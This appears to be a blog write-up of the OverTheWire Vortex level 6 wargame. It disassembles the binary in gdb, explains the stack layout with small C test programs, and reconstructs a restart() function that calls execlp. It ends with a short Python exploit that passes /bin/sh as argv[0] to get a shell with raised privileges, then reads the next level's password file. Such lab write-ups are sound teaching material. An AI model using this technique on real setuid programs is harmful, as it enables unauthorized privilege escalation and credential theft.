(gdb) set disassembly-flavor intel (gdb) disassemble main Dump of assembler code for function main: 0x08048446 <+0>: push ebp 0x08048447 <+1>: mov ebp,esp 0x08048449 <+3>: and esp,0xfffffff0 0x0804844c <+6>: sub esp,0x10 0x0804844f <+9>: mov eax,DWORD PTR [ebp+0x10] 0x08048452 <+12>: mov eax,DWORD PTR [eax] 0x08048454 <+14>: test eax,eax 0x08048456 <+16>: je 0x8048465After the function prologue and aligning stack pointer to 4-byte boundary, 16 bytes are subtracted from ESP to make room for local variables. Throughout the code of main function, there are references to 2 locations we need to understand: (ebp+0x10) and (ebp+0x0c). This article explains basics about stack frames, and the next one details also the stack layout. The stack layout before calling the main function looks like this:0x08048458 <+18>: mov eax,DWORD PTR [ebp+0xc] 0x0804845b <+21>: mov eax,DWORD PTR [eax] 0x0804845d <+23>: mov DWORD PTR [esp],eax 0x08048460 <+26>: call 0x8048424 <restart> 0x08048465 <+31>: mov eax,DWORD PTR [ebp+0x10] 0x08048468 <+34>: add eax,0xc 0x0804846b <+37>: mov eax,DWORD PTR [eax] 0x0804846d <+39>: mov DWORD PTR [esp],eax 0x08048470 <+42>: call 0x8048354 <printf@plt> 0x08048475 <+47>: mov DWORD PTR [esp],0x7325 0x0804847c <+54>: call 0x8048334 <_exit@plt> End of assembler dump. (gdb) disassemble restart Dump of assembler code for function restart: 0x08048424 <+0>: push ebp 0x08048425 <+1>: mov ebp,esp 0x08048427 <+3>: sub esp,0x18 0x0804842a <+6>: mov DWORD PTR [esp+0x8],0x0 0x08048432 <+14>: mov eax,DWORD PTR [ebp+0x8] 0x08048435 <+17>: mov DWORD PTR [esp+0x4],eax 0x08048439 <+21>: mov eax,DWORD PTR [ebp+0x8] 0x0804843c <+24>: mov DWORD PTR [esp],eax 0x0804843f <+27>: call 0x8048344 @lt;execlp@plt> 0x08048444 <+32>: leave 0x08048445 <+33>: ret End of assembler dump. (gdb)
: : | | [ebp + 16] (env - address of env array) | | [ebp + 12] (argv - address of argv array) | | [ebp + 8] (argc - number of arguments passed to main) | | [ebp + 4] (return address) | | [ebp] (old ebp value) | | [ebp - 4] (1st local variable) : : : :
We can quickly verify this with the following wrapper program, that runs a target program with different arguments. This thread shows a way to read registers (ebp in our case) with inline assembly from C code compiled with GCC.
#include <stdio .h> int main() { register int ebp asm("ebp"); char **env = *(char***)(ebp + 16); char **argv = *(char ***)(ebp + 12); int argc = *(int*)(ebp + 8); printf("[EBP + 16] - First element of env[] array: %s\n", env[0]); printf("[EBP + 12] - First element of argv[] array: %s\n", argv[0]); printf("[EBP + 8] - Number of arguments (argc): %d\n", argc); }And the test wraper:
#include <stdio.h> #include <stdlib.h> #include <unistd.h> int main(int argc, char* argv[]) { char* arg[] = {"ARG0", "ARG1", "ARG2", "ARG3", "ARG4", "ARG5", NULL}; char* env[] = {"ENV0", "ENV1", "ENV2", "ENV3", NULL}; execve("./layout",arg,env); }So we have:
# gcc layout.c -o layout # gcc wrap.c -o wrap # ./wrap [EBP + 16] - First element of env[] array: ENV0 [EBP + 12] - First element of argv[] array: ARG0 [EBP + 8] - Number of arguments (argc): 6 #Based on that, we see that the vortex6 binary checks the first environment variable, and if it's not NULL executes restart function with argv[0] as parameter. We see that reconstruct() function calls execlp, with first2 arguments the value from **(ebp+8), and the third one NULL. When calling restart function, the stack looks like this:
: : | | [ebp + 12] (2nd argument) | | [ebp + 8] (1st argument) | RA | [ebp + 4] (return address) | FP | [ebp] (old ebp value) | | [ebp - 4] (1st local variable)So wee see that at (ebp + 8) we have its first argument, which is in fact argv[0]. Basically the reconstructed function is:
void restart(char *s) { execlp(s,s,NULL); }After reconstructing the whole functionality, it's easy to exploit the binary using a simple python wrapper:
import subprocess argv = ['/bin/sh'] p = subprocess.Popen(argv, executable = './vortex6.bin') p.wait()And tada..
vortex6@melissa:~$ python /tmp/myl6.py $ id uid=5006(vortex6) gid=5006(vortex6) euid=5007(vortex7) groups=5007(vortex7),5006(vortex6) $ cat /etc/vortex_pass/vortex7 *****References:
No comments:
Post a Comment